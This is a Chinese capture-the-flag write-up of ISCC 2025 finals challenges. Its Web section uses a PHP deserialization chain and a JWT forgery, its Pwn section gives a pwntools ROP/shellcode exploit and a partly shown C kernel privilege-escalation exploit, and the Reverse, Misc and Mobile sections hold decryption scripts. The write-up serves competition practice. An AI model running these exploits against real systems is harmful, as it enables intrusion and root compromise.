ISCC2025决赛 Writeup

Web

谁动了我的奶酪

输入一个tom得到源码

← → C △ 不安全 112.126.73.173:10086/Y2hlZXNlT25l.php


```
φMessages - L
                      "<h3>Tom偷偷看了你一眼,然后继续啃奶酪...</h3>",
                      "<h3>墙角的奶酪碎屑消失了,它们去了哪里?</h3>",
                      "<h3>Cheese的香味越来越浓,谁在偷吃? </h3>",
                      "<h3>Jerry皱了皱眉,似乎察觉到了什么异常······</h3>",
               ];
               echo $Messages[array rand($Messages)];
               $this->revealCheeseLocation();
class Jerry{
       protected $secretHidingSpot;
       public $squeak;
       public $shout;
       public function searchForCheese($mouseHole) {
               include($mouseHole):
       public function __invoke() {
               $this->searchForCheese($this->secretHidingSpot);
class Cheese {
       public $flavors;
       public $color;
       public function __construct() {
               $this->flavors = array();
       public function __get($slice) {
               melt = \frac{1}{sthis} > flavors;
               return $melt();
       public function __destruct() {
               unserialize($this->color)();
               echo "Where is my cheese?";
       }
    (isset($ GET['cheese_tracker'])) {
       unserialize($ GET['cheese tracker']);
}elseif(isset($_GET["clue"])) {
       $clue = $_GET["clue"];
       $clue = str_replace(["T", "h", "i", "f", "!"], "*", $clue):
       if (unserialize($clue)) {
               unserialize($clue)->squeak = "Thief!";
               if (unserialize ($clue) -> shout === unserialize ($clue) -> squeak)
                      echo "cheese is hidden in ". $where;
               else
                      echo "OHhhh no!find it yourself!";
}
?>
```

```
代码块
1 <?php
    class Jerry {
2
 3
        public $secretHidingSpot;
 4
        public $squeak;
        public $shout;
 5
    }
 6
    class Cheese {
7
        public $flavors;
8
9
        public $color;
10
    $jerry = new Jerry();
11
    $jerry->secretHidingSpot = "php://filter/convert.base64-
12
    encode/resource=clue.php";
13
    $cheese = new Cheese();
    $cheese->color = serialize($jerry);
14
    $payload = serialize($cheese);
15
    echo urlencode($payload);
16
17
```

```
echo qmessages[array_ranu(qmessages/),
               $this->revealCheeseLocation();
       }
}
class Jerry {
       protected $secretHidingSpot;
       public $squeak;
       public $shout;
       public function searchForCheese($mouseHole) {
               include($mouseHole);
       public function __invoke() {
               $this->searchForCheese($this->secretHidingSpot);
}
class Cheese {
       public $flavors;
       public $color;
       public function __construct() {
               $this->flavors = array();
       return $me1t();
       }
       public function __destruct() {
               unserialize($this->color)();
               echo "Where is my cheese?";
}
   (isset($_GET['cheese_tracker'])) {
       unserialize($_GET['cheese_tracker']);
}elseif(isset($_GET["clue"])){
       $clue = $_GET["clue"];
       $clue = str_replace(["T",
                                 "h", "i", "f", "! "], "*", $clue);
       if (unserialize($clue)) {
               unserialize($clue)->squeak = "Thief!";
               if(unserialize($clue)->shout === unserialize($clue)->squeak)
                      echo "cheese is hidden in ". $where;
               e1se
                      echo "OHhhh no!find it yourself!";
       }
}
?>
```

PD9waHANCiR3aGVyZT0iZmxhZ19vZl9jaGVlc2UucGhwIjsNCj8+DQo=Where is my cheese?

得到提示继续读



原本网页名称base64解码后是cheeseOne的意思,同样地去访问cheeseTwo




网页有注释


```
← → C ▲ 不安全 view-source:112.126.73.173:10086/Y2hlZXNIVHdv.php
```


```
32
           .message {
               font-size: 18px;
33
34
35
36
           .btn {
37
               background-color: #FFA500;
               color: white;
               padding: 12px 25px;
40
               border: none;
41
               cursor: pointer;
42
               font-size: 18px:
43
               margin-top: 20px;
44
               border-radius: 5px;
45
               transition: 0.3s;
46
47
48
           .btn:hover {
               background-color: #FF4500;
49
               transform: scale(1.1);
50
51
52
53
           .log-section {
54
               background: rgba(255, 0, 0, 0.1);
               padding: 10px;
border-radius: 5px;
55
56
              margin-top: 20px;
font-size: 14px;
57
58
59
60
       </style>
61
   </head>
   <body>
63
       <div class="panel">
64
65
           66
           67
68

★ ⟨strong⟩访问受限! ⟨/strong⟩ 只有管理员可以查看完整的奶酪信息。
70
           〈button class="btn" onclick="window.location.href='index.php';"〉返回首页〈/button〉
71
           <div class="log-section">
72
73
               <strong>▲ 访问日志: </strong>
               IP: 218. 2. 216. 8
               Vser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
75
              (p)检测到异常访问 ★<!-- 服务器安全日志 - 仅限管理员查看 --><!-- DEBUG: SmVycn1fTG92ZXNfQ2h1ZXN1 -->
78
           </div>
79
       </div>
80
81
   </body>
83 </html>
```





伪造JWT,将role从user改为admin





根据前面的步骤中的hint,将得到的东西与0x16异或即可





Pwn

Dillema

canary泄露+orw

```
代码块
 1
     from pwn import *
     def init_connection():
         context.arch = 'amd64'
 3
         return remote("101.200.155.151", 12500), ELF('./attachment-42')
 4
     def leak_info(io, libc):
 5
         io.sendlineafter(b"where are you go?\n", b'1')
 6
 7
         payload = b'%11$p--%3$p'
 8
         io.sendafter(b"Enter you password:\n", payload)
         canary = int(io.recv(18), 16)
 9
         io.recvuntil(b'--')
10
         stack_addr = int(io.recv(14), 16)
11
         base_addr = stack_addr - 18 - libc.sym.read
12
13
         print(f"[+] Canary value: {hex(canary)}")
         print(f"[+] Base address: {hex(base_addr)}")
14
         return canary, base_addr
15
16
     def build_rop_chain(base_addr, libc, canary):
```

```
17
         payload = b' \times 00' + b'a' \times 0x27 + p64(canary)
18
         rdi_addr = 0x40119A
         rsi_addr = base_addr + 0x0000000000002be51
19
         rdx \ addr = base \ addr + 0x000000000011f2e7
20
         mprotect addr = base_addr + libc.sym.mprotect
21
         read_addr = 0x401070
22
         gets addr = base addr + libc.sym.gets
23
         payload += p64(0) + p64(rdi_addr) + p64(0x404000)
24
25
         payload += p64(rsi_addr) + p64(0x10000)
         payload += p64(base\_addr + 0x000000000011f2e7) + p64(7)*2
26
         payload += p64(mprotect_addr)
27
         payload += p64(rdi_addr) + p64(0)
28
         payload += p64(rsi_addr) + p64(0x404500)
29
         payload += p64(rdx_addr) + p64(0x200)*2
30
         payload += p64(read_addr)
31
32
         payload += p64(0x404500)
33
         return payload
34
     def get_flag(io):
35
         io.sendlineafter(b"where are you go?\n", b'2')
         io.recvuntil(b"To find life in the face of death\n")
36
37
         shellcode = asm(shellcraft.open("flag.txt"))
         shellcode += asm("mov rdi, 1; mov rsi, rax; mov rdx, 0; mov rax, 40;
38
     syscall")
39
         shellcode += asm("mov rdi, 1; mov rsi, rax; mov rdx, 0; mov rax, 1;
     syscall")
         io.send(shellcode)
40
         io.interactive()
41
42
     def main():
         io, libc = init_connection()
43
         canary, base_addr = leak_info(io, libc)
44
45
         payload = build_rop_chain(base_addr, libc, canary)
         io.send(payload)
46
         get_flag(io)
47
     if __name__ == "__main__":
48
49
         main()
50
     #ISCC{71daee4d-9026-46df-93e6-52d17b786114}
```

Easybee

目标 core.ko,通过 /proc/core 交互。环境: KASLR, Canary 开; KPTI 关。

KPTI 关 -> /proc/kallsyms 可读。用 fscanf 读,找 commit_creds, prepare_kernel_cred 地址。算 KASLR 偏移 base_offset。 /proc/core 主要用 ioctl。0x6677889C 设 off。0x6677889B 调 core_read,从栈上 buf[off] 读 64 字节。设 off=0x40 泄露 Canary。write 操作把 ROP 链写到内核的 name 缓冲区 (0x800)。0x6677889A 调 core_copy_func。参数转 u16 有 整数溢出。传 0xfffffffffff1000 转成 0x1000。导致 qmemcpy 从 name 溢出到栈上 v1 (64字节)。

利用流程:

读/proc/kallsyms 算 KASLR 偏移。

用 ioctl 设 off=0x40 并读, 泄露 Canary。

保存用户态 CS, SS, RSP, RFLAGS (为 iretq 准备)。

构建 ROP 链 (在用户空间数组里): 填充 + Canary。调用 prepare_kernel_cred(NULL)。将结果 (RAX) 移到 RDI (用 mov rdi, rax; call rdx 组合)。调用 commit_creds (提权)。swapgs; popfq; ret (回用户态准备)。iretq + 用户态返回信息 (shell 地址, CS, RFLAGS, SP, SS)。所有 Gadget 地址加 KASLR 偏移。

用 write 把 ROP 链写入内核 name 缓冲区。

用 ioctl(fd, 0x6677889A, 0xfffffffff1000) 触发溢出。

内核执行 ROP 链 -> 提权 -> iretq 回用户态 -> 执行 system("/bin/sh")。

exp:

```
代码块
    #include <stdio.h>
 1
    #include <stdlib.h>
 2
    #include <string.h>
 3
    #include <unistd.h>
 4
    #include <fcntl.h>
 5
    #include <ctype.h>
 6
    #include <sys/types.h>
 7
    #include <sys/ioctl.h>
 8
 9
    unsigned long long k_commit_creds_addr = 0, k_prep_cred_addr = 0;
10
     const unsigned long long base commit creds known = 0xFFFFFFFF8109C8E0;
11
12
    const unsigned long long g_swapgs_popfq_ret = 0xffffffff81a012da;
13
14
    const unsigned long long g_movrdirax_callrdx = 0xffffffff8101aa6a;
15
     const unsigned long long g_poprdx_ret = 0xffffffff810a0f49;
     const unsigned long long g_poprdi_ret = 0xffffffff81000b2f;
16
     const unsigned long long g_poprcx_ret = 0xfffffff81021e53;
17
     const unsigned long long g_iretq = 0xFFFFFFF81A00987;
18
19
    int module_handle = 0;
20
21
    size_t u_cs, u_ss, u_rflags, u_sp;
22
    void capture_user_context() {
23
24
         __asm__ __volatile__ (
```

```
25
             "mov %%cs, %%rax\n\t"
26
             "mov %%ss, %%rbx\n\t"
27
             "mov %%rsp, %%rcx\n\t"
             "pushfq\n\t"
28
29
             "pop %%rdx\n\t"
             : "=a"(u_cs), "=b"(u_ss), "=c"(u_sp), "=d"(u_rflags)
30
             : /* no inputs */ : "memory"
31
32
         );
33
     }
34
     void trigger_read_ioctl(char* dest_buffer) {
35
         ioctl(module_handle, 0x6677889B, dest_buffer);
36
     }
37
38
     void adjust_read_offset(int new_offset) {
39
40
         ioctl(module_handle, 0x6677889C, new_offset);
     }
41
42
43
     void trigger_overflow_copy(unsigned long long copy_size) {
         ioctl(module_handle, 0x6677889A, copy_size);
44
45
     }
46
     void resolve_kernel_symbols() {
47
48
         FILE* kallsyms_file = fopen("/tmp/kallsyms", "r");
49
         if (!kallsyms_file) {
             printf("Error: Cannot open kallsyms\n");
50
             exit(1);
51
52
         }
         unsigned long long symbol_address = 0;
53
         char symbol_type_str[0x10];
54
55
         char symbol_name_str[0x100];
         while (fscanf(kallsyms_file, "%llx%s%s", &symbol_address, symbol_type_str,
56
     symbol_name_str) == 3) {
57
             if (k_commit_creds_addr && k_prep_cred_addr) break;
58
             if (!strcmp(symbol_name_str, "commit_creds")) {
59
                 k_commit_creds_addr = symbol_address;
             } else if (!strcmp(symbol_name_str, "prepare_kernel_cred")) {
60
                 k_prep_cred_addr = symbol_address;
61
             }
62
63
         }
64
         fclose(kallsyms_file);
         if (!(k_commit_creds_addr && k_prep_cred_addr)) {
65
              printf("Error: Kernel symbols not found.\n");
66
67
              exit(1);
         }
68
69
     }
70
```

```
71
     void dump_hex_ascii(char* data_buffer, int data_length) {
72
         int current_index = 0;
         char print_buffer_line[80];
73
         for(int i=0; i<(data_length + 15) / 16; i++) {</pre>
74
             memset(print_buffer_line, ' ', 80);
75
76
             sprintf(print_buffer_line, "%#05x", current_index);
             print_buffer_line[5] = ' '; print_buffer_line[6] = '|';
77
     print_buffer_line[7] = ' ';
78
             for(int j=0; j<16; j++) {
                 if(current_index + j < data_length) {</pre>
79
                      sprintf(print_buffer_line + 8 + 3*j, "%02x ", ((unsigned)
80
     char)data_buffer[current_index+j]) & 0xFF);
                     print_buffer_line[58+j] =
81
     isprint(data_buffer[current_index+j]) ? data_buffer[current_index+j] : '.';
82
                 } else {
                                                                  ");
83
                       sprintf(print_buffer_line + 8 + 3*j, "
                      print_buffer_line[58+j] = ' ';
84
```

Reverse

uglyCpp-32

64位elf文件、拖入ida

先乱序再加密

这个加密就是异或,不知道传这些密钥和iv干什么......

测试输入36个1和36个2、将明文和密文异或得到的值都一样

密文在ZNK12S4V3u5wVUXnyMUlRSt6vectorljSaljEEE_clES2_比对函数里面

```
int v14; // [rsp+58h] [rbp-48h]
int v15; // [rsp+56h] [rbp-48h]
int v140727682; // [rsp+68h] [rbp-48h]
int v140727682; // [rsp+68h] [rbp-36h]
int v1922117686; // [rsp+68h] [rbp-38h]
int v19; // [rsp+66h] [rbp-38h]
int v19; // [rsp+68h] [rbp-38h]
v21 = __readfsqword(0x28u);
p_input = 0x431088980F0632AL;
v14 = -1228649883;
v15 = -726571838;
n1469727682 = 1466727682;
n1292117686 = 1292117686;
n29117686 = 1292117686;
n291836320 = 2010836328;
v19 = -22445387;
v19 = -22445387;
v19 = -22445387;
std::vectorcunsigned int>::allocator(8p_key);
std::vectorcunsigned int>::velcot(key, &p_input, 9, &p_key);
std::vectorcunsigned int>::velcot(key, &p_input, 9, &p_key);
if (v2 = std::vectorcunsigned int>::size(key))
{
    v7 = 0;
    v11 = a2;
    v9 = std::vectorcunsigned int>::begin(a2);
    p_key = std::vectorcunsigned int>::end(v11);
    while ( (unsigned _int8) _gnu_cxx::operator!=cunsigned int *,std::vectorcunsigned int>>:coperator*(8v9);
    if ( v8 != *(_DM0R0 *) _gnu_cxx::operator!=cunsigned int *,std::vectorcunsigned int>>:coperator*(8v9);
    if ( v8 != *(_DM0R0 *) _std::vectorcunsigned int>::operator*(8v9);
    if ( v8 != *(_DM0R0 *) _std::vectorcunsigned i
```

提出来异或一下,不太对?

感觉会不会再异或一个数,爆破一下

```
代码块
    xor_key=
    [107,2,230,14,39,143,57,231,40,78,194,211,161,55,183,144,201,230,118,49,207,112
    ,81,76,54,164,134,32,198,208,237,164,92,139,130,112]
 2
    enc=
    ,0x82,0xEF,0x10,0x57,0xB6,0x26,0x4,0x4D,0x60,0xED,0xDA,0x77,0xB5,0x82,0xA9,0xFE
    ,0x18,0xF6,0xC2,0x73]
 3
    for i in range(0,50):
        flag=""
 4
        ∨=0
 5
        for j in range(len(enc)):
 6
            enc[i]^=i
 7
 8
        for k in range(len(enc)):
9
            flag+=chr(enc[k]^xor_key[k])
10
        for m in flag:
11
12
            if m=='I':
13
               \vee +=1
            if m=='S':
14
15
               \vee +=1
           if m=='C':
16
17
               v += 1
18
            if m=='{':
19
               \vee +=1
            if m=='}':
20
```

```
21  v+=1
22  if v==5:
23  print(flag)
24  break
```

得到 "qQJ1Og8C}46USc6t{9VVIfe1fylgCbtjtMp3"

然后就是恢复乱序,这里我最开始想用查表的方式解决,但把输入的明文和得到的密文生成的表出来 查一下,发现flag还是乱序的

这里就调试看一眼那个乱序函数,也就是std::function<void ()(std::shared_ptr<strc>,std::string &)>::operator()

一直跟进跟进,跟进到了这个地方

后的密文

问了下AI说是搞了个二叉树,但不知道创建方法是怎么样的,向上跟进这个函数的调用层,一路跟进 到了这里

```
if ( ptrace(0, 0, 0, 0) != -1 )

ZNSt8functionIFvSt10shared_ptrI4strcERNSt7_cxx1112basic_stringIcSt11char_traitsIcESaIcEEEEEaSIRN17KDuwFjKHdbaHLrTLHMUIS2_S9_E_EEENSt9enable( __int64)&KDuwFjKHdbaHLrTLHILL
return v0;
}

00004076 ZNKL4vtegMUIvE_clev:5 (404876)
```

这个ptrace是一个调试检测,若检测到程序正在被调试则返回-1,如果这里检测到被调试,是可以改变 乱序的结果的,在这里下个断点再动态调试,可以看到在我们输入flag之前,程序就断在了这里 hook一下返回值,跳过这个调试检测,输入我们随机生成的36个不同字符的原文,得到了正确的乱序

这里我输入"ISCC{7YbK2Fj5Lm8Np1Rc6Hd4Vg0WsTvXe9}",然后在内存里找到乱序后的字符串,提取出来

如果这里没有hook返回值,得到的乱序字符串是错误的

```
代码块
     enc='qQJ10g8C}46USc6t{9VVIfe1fylgCbtjtMp3'
 1
     test='ISCC{7YbK2Fj5Lm8Np1Rc6Hd4Vg0WsTvXe9}'
 2
     test2='v8XbeN9C}pK1SR2c{6FHIdj47V5gC0LWYsmT'
 3
 4
     swap=[[0]*36,
 5
           [0] *36]
     print(len(test))
 6
     for i in range(len(test)):
 7
         for j in range(len(test2)):
 8
             if test[i]==test2[i]:
 9
                 swap[0][i]=i
10
                 swap[1][i]=j
11
12
                 break
     flag=""
13
     print(swap)
14
     for i in range(len(enc)):
15
         flag+=enc[swap[1][i]]
16
     print(flag)
17
18
19
     # ISCC{ft166VeltpQg4Uct9Vf1ygbjM3qJ08}
```

CrackMe

主逻辑在这里,string[5]之后存放我们的输入值,string[0-5]存放密钥key,string是一个word类型数组

将我们输入的字符串经过sub_7FF718971000、sub_7FF718971080、sub_7FF7189712A0函数加密后再与Source处比对

sub 7FF718971000函数有花指令,去一下,这里我去的不太好,可能把循环去掉了

```
1_int64 __fastcall sub_7FF718971000(__int64 a1, __int64 a2, __int16 a3)
2{
3    void *retaddr; // [rsp+18h] [rbp+0h]
4    __int64 v5; // [rsp+20h] [rbp+8h]
5
6    *(_WORD *)(v5 + 2i64 * SHIDWORD(retaddr)) ^= a3;
7    return (unsigned int)++HIDWORD(retaddr);
8}
```

但经过验证,可以知道这个函数就是把input逐字节异或65

第二个函数也简单去一下花

```
int64 __fastcall sub_TFF718971080(_int64 al, int a2, int a3)
{
    int64 result; // rax
    __int64 v4; // rex
    int v5; // ex
    int v5; // ex
    int v7; // [rsp+24h] [rbp-14h]

while ( 1)
{
    result = (unsigned int)v7;
    if ( v7 >= a2 )
        break;
    v4 = v7;
    LONGRO(v4) = *(_WORD *)(a1 + 2i64 * v7);
    if ( (unsigned int)sub_TFF718974794(v4) )
{
        v5 = sub_TFF7189747A0(*(_WORD *)(a1 + 2i64 * v7));
        v6 = 97;
        if ( v5 )
            v6 = 65;
        *(_WORD *)(a1 + 2i64 * v7) = v6 + (a3 + *(unsigned __int16 *)(a1 + 2i64 * v7) - v6) % 26;
    }
    ++v7;
} return result;
}
```

这部分其实是分段处理,看字符串是大写字母还是小写字母,或是其它 最后一个函数去花如下:

sub 7FF718971160去花如下:

```
1// positive sp value has been detected, the output may be wrong!
2void sub_TFF718971160()
3{
4   int i; // [rsp+24h] [rbp-24h]
5   int v1; // [rsp+28h] [rbp-20h]
6   int v2; // [rsp+2ch] [rbp-1Ch]
7   __int64 v3; // [rsp+30h] [rbp-18h]
8   __int64 v4; // [rsp+38h] [rbp-10h]
9   int v5; // [rsp+44h] [rbp-4h]

0   int while ( v2 < 256 )
12   {
13     *(_BYTE *)(v3 + v2) = v2;
14     ++v2;
15   }
16   v1 = 0;
17   for ( i = 0; i < 256; ++i )
18   {
19     v1 = (*(unsigned __int8 *)(v4 + i % v5) + *(unsigned __int8 *)(v3 + i) + v1) % 256;
20     sub_TFF718971260((char *)(i + v3), (char *)(v1 + v3));
21   }
22}</pre>
```

可以看出来是一个rc4

三个加密函数都已知,密文和rc4密钥也都已知

```
代码块

1 from itertools import cycle
2 def rc4(data: bytes, key: bytes) -> bytes:
3 S = list(range(256))
4 j = 0
5 for i in range(256):
```

```
6
             j = (j + S[i] + key[i \% len(key)]) \& 0xFF
 7
             S[i], S[j] = S[j], S[i]
         i = j = 0
 8
         out = bytearray()
 9
         for byte in data:
10
             i = (i + 1) \& 0xFF
11
             j = (j + S[i]) & 0xFF
12
             S[i], S[j] = S[j], S[i]
13
14
             K = S[(S[i] + S[j]) & 0xFF]
             out.append(byte ^ K)
15
16
         return bytes(out)
17
     def reverse caesar wchar(code unit: int, shift: int = 3) -> int:
18
         if 0x41 <= code_unit <= 0x5A:
19
20
             return ((code_unit - 0x41 - shift) % 26) + 0x41
21
         elif 0x61 <= code_unit <= 0x7A:
22
             return ((code_unit - 0x61 - shift) % 26) + 0x61
23
         else:
             return code_unit
24
25
26
     def decrypt_wide_blob(encrypted_blob: bytes) -> str:
         rc4_key = b"SecretKey"
27
         after_rc4 = rc4(encrypted_blob, rc4_key)
28
29
         code units = [
             after_rc4[i] | (after_rc4[i+1] << 8)
30
             for i in range(0, len(after_rc4), 2)
31
32
         out_chars = []
33
         for cu in code_units:
34
             cu2 = reverse_caesar_wchar(cu, shift=3)
35
36
             cu3 = cu2 ^ 0x41
             out_chars.append(chr(cu3))
37
         return "".join(out_chars).rstrip('\x00')
38
39
40
     if __name__ == "__main__":
41
         encrypted_blob = bytes([
42
             0x1C, 0xB8, 0x2E, 0x47, 0xDD, 0x72, 0x1C, 0xA2, 0xDE, 0x13, 0x2C,
     0x46, 0xD1, 0xF0, 0x27, 0x81, 0xBF, 0xE6,
             0xE3, 0xEE, 0x56, 0x9A, 0x52, 0x28, 0x52, 0x6B, 0xE5, 0xE8, 0x88,
43
     0x24, 0x9C, 0x3F, 0xEB, 0x15, 0x69, 0x17,
44
             0xF4, 0x91, 0x9C, 0xFE, 0x35, 0x74
45
         1)
         plaintext = decrypt_wide_blob(encrypted_blob)
46
         print("Decrypted string:", plaintext)
47
```

Misc

神经网络迷踪

常规看pth结构,发现两个奇怪的层,输出偏置查看


发现第一个层对角有可读ASCII码,但是没啥用,第二个层用UTF8可以看到提示缩小255倍放大255倍 又发现output.bias层的参数乘255刚好为整数,尝试作为ASCII码提交flag,出了

```
代码块
1
   import torch
2
   model = torch.load('attachment-38.pth')
3
4
5
   for name, param in model.items():
       if name == "output.bias":
6
7
            print(a:=param.tolist())
8
   print("".join(chr(int(i*255)) for i in a))
9
```

八卦

给的附件是个gif,加上后缀

发现gif后面跟了个7z压缩包



显而易见的是gif的六帧有四帧上面有字,分别是base64,base32,base64,base32,解密出来信息分别如下:

乾为天 山水蒙 水雷屯 水天需

在没有字的两帧有lsb

```
(base) (root@WIN-
                     FTCAC432NIT)-[/home/starr]
 📲 zsteg frame_003.png
b1,b,lsb,xy
                   .. text:
                       file: AIX core file fulldump 64-bit
b3,bgr,msb,xv
                    .. file: AIX core file 64-bit
b3,rgba,msb,xv
                    .. file: MPEG ADTS, layer I, v2, 112 kbps, Monaural
b4,rgba,msb,xy
                       file: MPEG ADTS, layer I, v2, Monaural
                       CAC432NIT)-[/home/starr]
(base) -(ro
 -# zsteg frame_005.png
b1,b,lsb,xy
                   .. text:
b3,bgr,lsb,xv
                   .. file: Adobe Photoshop Color swatch, version 0, 2052
                   .. file: Targa image data 16416 x 65536 x 1 +2 +8
                    .. file: SIMH tape data
```

解出来都是坤为地

查询易经知以上卦象分别是一到五卦

```
代码块
    from PIL import Image
1
    import sys
2
3
    def get_gif_frame_durations(gif_path):
4
        with Image.open(gif_path) as im:
 5
            if not im.is_animated:
 6
                print("该GIF不包含动画帧。")
7
                return []
8
9
10
            durations = []
            for frame in range(im.n_frames):
11
12
                im.seek(frame)
                duration = im.info.get('duration', 0) # 持续时间,单位为毫秒
13
                durations.append(duration)
14
15
            return durations
16
17
    if __name__ == "__main__":
18
        if len(sys.argv) < 2:</pre>
19
20
            print("请提供一个GIF文件路径作为参数。")
            print("示例: python gif_duration.py animation.gif")
21
22
        else:
            gif_file = sys.argv[1]
23
24
            durations = get_gif_frame_durations(gif_file)
25
26
            if durations:
                print(f"共找到 {len(durations)} 帧: ")
27
                for i, dur in enumerate(durations):
28
                    print(f"帧 {i + 1}: {dur} 毫秒")
29
30
                total_time = sum(durations)
                print(f"\n总播放时间: {total_time} 毫秒 ({total_time / 1000:.2f}
31
    秒)")
```

C:\Users\jyzho\OneDrive\桌面>python3 1.py attachment-39.gif 共找到 6 帧: 帧 1: 200 毫秒 帧 2: 300 毫秒 帧 3: 200 毫秒 帧 4: 300 毫秒 帧 5: 200 毫秒 帧 6: 300 毫秒


232323, 这里指的是第23卦

根据提示gif是否存在内容来看用二进制表示应该是111010,第58卦

从小到大拼接上面七卦的上下卦就是压缩包密码

乾乾坤坤坎震艮坎坎乾艮坤兑兑

结出来的txt中内容可以用cyberchef一把梭



Mobile

叽米是梦的开场白

jadx反编译,发现

```
protected void onCreate(Bundle bundle) {
    super.onCreate(bundle);
    setContentView(C0481R.layout.activity_main);
    this.but_1 = (Button) findViewById(C0481R.id.but_board);
    this.edt_1 = (EditText) findViewById(C0481R.id.broad);
    this.but_2 = (Button) findViewById(C0481R.id.submit);
    this.edt_2 = (EditText) findViewById(C0481R.id.flag);
    this.localBroadcastManager = LocalBroadcastManager.getInstance(this);
    registerReceiver(new TriggerReceiver(), new IntentFilter("com.example.mobile04.GET_DEX"), 4);
    this.localBroadcastManager.registerReceiver(new DataReceiver(), new IntentFilter("com.example.mobile04.DEX_SEGMENT"));
    EvilService.activate(this):
    bindService(new Intent(this, (Class<?>) EvilService.class), this.conn, 1);
    this.but_1.setOnClickListener(new BCheck());
    this.but_2.setOnClickListener(new FCheck());
/* JADX INFO: Access modifiers changed from: private */
public void checkFlagAsync(final String str, final FlagCheckCallback flagCheckCallback) {
    if (str.length() < 13 || !str.startsWith("ISCC(") || !str.endsWith(")")) {</pre>
        flagCheckCallback.onCheckResult(false);
    } else if (!new File(getFilesDir(), "decrypted.dex").exists()) {
   runOnUiThread(new Runnable() { // from class: com.example.mobile04.MainActivity$$ExternalSyntheticLambda1
             @Override // java.lang.Runnable
             public final void run() {
                 MainActivity.this.m351lambda$checkFlagAsync$0$comexamplemobile04MainActivity();
        });
        flagCheckCallback.onCheckResult(false);
    } else {
        new Thread(new Runnable() { // from class: com.example.mobile04.MainActivity$$ExternalSyntheticLambda2
             @Override // java.lang.Runnable
             public final void run() {
                 MainActivity.this.m353lambda$checkFlagAsync$2$comexamplemobile04MainActivity(flagCheckCallback, str)
        }).start();
}
/* renamed from: lambda$checkFlagAsync$0$com-example-mobile04-MainActivity, reason: not valid java name */
/* synthetic */ void m351lambda$checkFlagAsync$0$comexamplemobile04MainActivity() {
    Toast.makeText(this, "请先获取DEX文件", 0).show();
```

这里显然提示要加载一个dex文件,结合前面的导入本地mobile.so文件,反编译mobile.so文件,在导出函数中

找到dex文件的内容

导出为dex文件,先留着备用,继续往下看

```
/* renamed from: lambda$checkFlagAsync$2$com-example-mobile04-MainActivity, reason: not valid java name */
/* synthetic */ void m353lambda$checkFlagAsync$2$comexamplemobile04MainActivity(FlagCheckCallback flagCheckCallback, String str) {
    bvte[] loadEncryptedLib = loadEncryptedLib():
    boolean z = false;
   if (loadEncryptedLib == null) {
       runOnUiThread(new Runnable() { // from class: com.example.mobile04.MainActivity$$ExternalSyntheticLambda0
           @Override // java.lang.Runnable
           public final void run() {
               MainActivity.this.m352lambda$checkFlagAsync$1$comexamplemobile04MainActivity();
       flagCheckCallback.onCheckResult(false);
   boolean checkFlag = DexLoader.checkFlag(this, str.substring(5, 11));
   if (!checkFlag)
       flagCheckCallback.onCheckResult(false);
   String substring = str.substring(11, str.length() - 1);
   EvilService.EvilBinder evilBinder = this.evilBinder;
   if (evilBinder != null) {
       evilBinder.checkFFlag2(substring, new C04792(flagCheckCallback, checkFlag));
   boolean m60a = C0482a.m60a(substring, loadEncryptedLib);
   if (checkFlag && m60a) {
       z = true:
   flagCheckCallback.onCheckResult(z);
```

显然,若z=true,则输出我们想要的success,也即我们输入的flag经过checkFlag和m60a两个函数的验证,

这两个函数分别校验flag的前后部分

先看一下checkflag

```
ic static boolean checkFlag(Context context, String str) {
try {
    return ((Boolean) new DexClassLoader(new File(context.getFilesDir(), "decrypted.dex").getAbsolutePath(), context.getCodeCacheDir().getAbsolutePath(), null, context.getClassLoader()).loadClass(")
) catch (Exception unused) {
    return false;
}
```

这里提到了dex,应该就是我们前面得到的dex文件,同时load了一个sunday,先不管,再看看后部分 flag的验证逻辑如何

```
package com.example.mobile04;

/* renamed from: com.example.mobile04.a */
/* loaded from: classes.dex */
public class C0482a {}
    private native boolean checkFlag2(String str, byte[] bArr);

static {
        System.loadLibrary("Monday");
    }


    /* renamed from: a */
    public static boolean m60a(String str, byte[] bArr) {
        return new C0482a().checkFlag2(str, bArr);
    }
}
```

又load了一个monday.so文件,那么到这里这个主apk文件就分析完毕了,先看我们得到的dex文件

```
package com.example.mobile04:
import java.util.Arrays:
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
/* loaded from: E:\edge\download.dex */
    public static native byte[] getKey();
        System.loadLibrary("Sunday");
    public static byte[] encrypt(byte[] bArr) {
            byte[] key = getKey();
            if (key == null || key.length != 24) {
                throw new RuntimeException("Invalid key from native");
            SecretKeySpec secretKeySpec = new SecretKeySpec(key, "DESede");
            Cipher cipher = Cipher.getInstance("DESede/ECB/PKCS5Padding");
            cipher.init(1, secretKeySpec);
            return cipher.doFinal(bArr);
        } catch (Exception e) {
            throw new RuntimeException(e);
    public static boolean checkFlag(String str) {
        return Arrays.equals(encrypt(str.getBytes()), new byte[]{69, 51, 50, 67, 66, 56, 51, 50, 66, 52, 49, 53, 55, 56, 54, 49});
```

显然,这里就是三DES加密,密文明显给出,密钥或许在sunday文件里

解一下就可以得到前一部分flag



接下来看后半部分,根据前面的信息,去看一下libMonday.so,这里没看到加密解密,这里给的也不 是密钥密文

问了一下AI,这里前面是反调试,中间是对输入的某个字节流进行解码,也就是这一段


待解码的数据在asset/x86 64里面,写段代码模仿它解一下

```
代码块

1 with open("E:\\edge\\attachment-41\\assets\\x86_64\\enreal", "rb") as f:
2    data = list(f.read())
3    for i in range(len(data)):
4        data[i] = (((data[i] << 2) | (data[i] >> 6)) & 0xff) ^ 0x66
5        data[i] = (((data[i] >> 3) | (data[i] << 5)) & 0xff
6    with open("E:\\edge\\attachment-41\\assets\\x86_64\\decode_enreal", "wb") as f:
7    f.write(bytes(data))</pre>
```

然后再分析这个文件,发现是elf文件,ida反编译,在里面找到

这就是后部分的flag,密文和密钥也已经给出



套上ISCC即可

GGAD

模拟器打开这个程序,一直放视频,分析不了,jadx反编译看看

```
protected void onCreate(Bundle bundle) {
     super.onCreate(bundle)
     super.oncreate(pundle);
setContentView(C0498R.layout.activity_main);
this.keyEditText = (EditText) findViewById(C0498R.id.editTextText2);
this.flagEditText = (EditText) findViewById(C0498R.id.editTextText);
     ImageButton imageButton = (ImageButton) findViewById(C0498R.id.imageButton);
     this.validateButton = imageButton;
imageButton.setOnClickListener(new View.OnClickListener() { // from class: com.example.ggad.MainActivity.1
          @Override // android.view.View.OnClickListener
          public void onClick(View view) {
    MainActivity.this.validateInputs();
/* JADX INFO: Access modifiers changed from: private */
public void validateInputs()
